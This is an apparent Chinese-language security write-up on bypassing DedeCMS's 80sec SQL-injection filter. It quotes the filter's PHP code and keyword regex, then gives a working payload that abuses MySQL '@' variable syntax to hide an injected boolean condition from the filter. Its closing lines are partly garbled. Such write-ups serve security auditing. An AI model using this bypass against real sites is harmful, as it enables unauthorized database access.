知识点:
在Mysql当中,定义变量用@字符,可以用set @a='abc'
,来为变量赋值,然后通过select @a
来进行取值
通过上面的了解,可以直接定义一个空值的变量出来,比如 @``,结果如下:
80Ssec过滤代码:
//SQL语句过滤程序,由80sec提供,这里作了适当的修改
function CheckSql($sql, $querytype='select')
{
$clean = '';
$error = '';
$pos = -1;
$old_pos = 0;
//如果是普通查询语句,直接过滤一些特殊语法
if($querytype == 'select')
{
if(preg_match('/[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}/', $sql))
{
$this->DisplayError("$sql||SelectBreak",1);
}
}
//完整的SQL检查
while(true)
{
$pos = strpos($sql, '\'', $pos + 1); //不存在单引号就跳出
if($pos === false)
{
break;
}
$clean .= substr($sql, $old_pos, $pos - $old_pos);
while(true)
{
$pos1 = strpos($sql, '\'', $pos + 1);
$pos2 = strpos($sql, '\\', $pos + 1);
if($pos1 === false)
{
break;
}
else if($pos2 == false || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
...
这里为了合法的构造出一个单引号,目的是为了让sql正确,我们可以用 @'
放入sql语句当中,帮助我们绕过防注入程序检查,这两个也可以进行使用:@'
@,"'
"
在审计的时候遇到一个整形的注入点,该如何绕过(gpc开启的状态下,其实这里开不开都无所谓,因为dede中自己也会进行对应的处理的)?如下的代码可以知道,当被两边单引号包裹的地方会被替换为$s$
注入绕过语句:1 or @'
and (select length(database())=11)#’
过滤处理后的语句:select XXXX from XX_station_letters where id = 1 or @`$s$ order by createdtime desc
最后执行的语句:SELECT XXXX FROM XX_station_letters where id = 1 or @'
and (select length(database())=11)
@'
和 #’ 来配合包裹对中间的语句作为
s
s
s处理直接绕过了80sec注入,然后右边又是一个注释符过滤了单引号
引用:
https://www.cnblogs.com/milantgh/p/3670208.html
https://www.isolves.com/it/aq/fwq/2019-12-11/9754.html